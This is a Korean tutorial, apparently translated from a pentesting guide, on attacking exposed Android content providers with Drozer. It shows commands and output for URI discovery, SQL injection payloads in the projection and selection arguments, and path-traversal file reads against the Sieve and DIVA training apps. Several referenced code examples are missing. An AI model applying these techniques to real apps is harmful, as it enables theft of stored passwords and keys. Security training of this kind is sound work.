데이터는 content provider로 알려진 구성 요소에 의해 요청에 따라 하나의 애플리케이션에서 다른 애플리케이션으로 공급됩니다. 이러한 요청은 ContentResolver class 메서드를 통해 관리됩니다. Content provider는 데이터베이스, 파일 또는 네트워크와 같은 다양한 위치에 데이터를 저장할 수 있습니다.
Manifest.xml 파일에서는 content provider의 선언이 필요합니다. 예를 들어:
content://com.mwr.example.sieve.DBContentProvider/Keys에 접근하려면 READ_KEYS 권한이 필요합니다. /Keys/ 경로가 다음 섹션에서 접근 가능하다는 점이 흥미롭습니다. 이는 개발자가 /Keys는 보호했지만 /Keys/를 선언하는 실수를 범했기 때문입니다.
아마도 개인 데이터에 접근하거나 일부 취약점(SQL Injection 또는 Path Traversal)을 악용할 수 있습니다.
노출된 콘텐츠 제공자에서 정보 가져오기
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
DBContentProvider에 도달하는 방법을 “content://”로 시작하는 URI를 통해 조합할 수 있습니다. 이 접근 방식은 Drozer를 사용하여 얻은 통찰력에 기반하며, 주요 정보는 /Keys 디렉토리에 위치해 있었습니다.
Drozer는 여러 URI를 추측하고 시도할 수 있습니다:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
You should also check the ContentProvider code to search for queries:
Also, if you can't find full queries you could check which names are declared by the ContentProvider on the onCreate method:
The query will be like: content://name.of.package.class/declared_name
데이터베이스 기반 콘텐츠 제공자
아마 대부분의 콘텐츠 제공자는 데이터베이스의 인터페이스로 사용됩니다. 따라서, 접근할 수 있다면 정보를 추출, 업데이트, 삽입 및 삭제할 수 있을 것입니다.
민감한 정보에 접근할 수 있는지 확인하거나 권한 우회 메커니즘을 변경해 보십시오.
콘텐츠 제공자의 코드를 확인할 때 query, insert, update 및 delete와 같은 이름의 함수도 확인하십시오:
데이터베이스를 쿼리하면 열의 이름을 알게 되고, 그 후 DB에 데이터를 삽입할 수 있습니다:
삽입 및 업데이트 시 --string을 사용하여 문자열을 나타내고, --double을 사용하여 더블을 나타내며, --float, --integer, --long, --short, --boolean을 사용할 수 있습니다.
Update content
열의 이름을 알면 항목을 수정할 수도 있습니다:
Delete content
SQL Injection
**(SQLite)**에 대한 SQL 인젝션을 테스트하는 것은 프로젝션 및 선택 필드를 조작하여 간단합니다.
Content Provider를 쿼리할 때 정보를 검색하기 위한 2개의 흥미로운 인수가 있습니다: --selection 및 --projection:
이 매개변수를 악용하여 SQL 인젝션을 테스트해 볼 수 있습니다:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Drozer에 의한 자동 SQLInjection 발견
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
파일 시스템 기반 콘텐츠 제공자
콘텐츠 제공자는 파일에 접근하는 데 사용될 수 있습니다:
파일 읽기
콘텐츠 제공자에서 파일을 읽을 수 있습니다.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
경로 탐색
파일에 접근할 수 있다면, 경로 탐색을 악용해 볼 수 있습니다 (이 경우에는 필요하지 않지만 "../"와 유사한 트릭을 사용해 볼 수 있습니다).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Drozer에 의한 자동 경로 탐색 발견
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider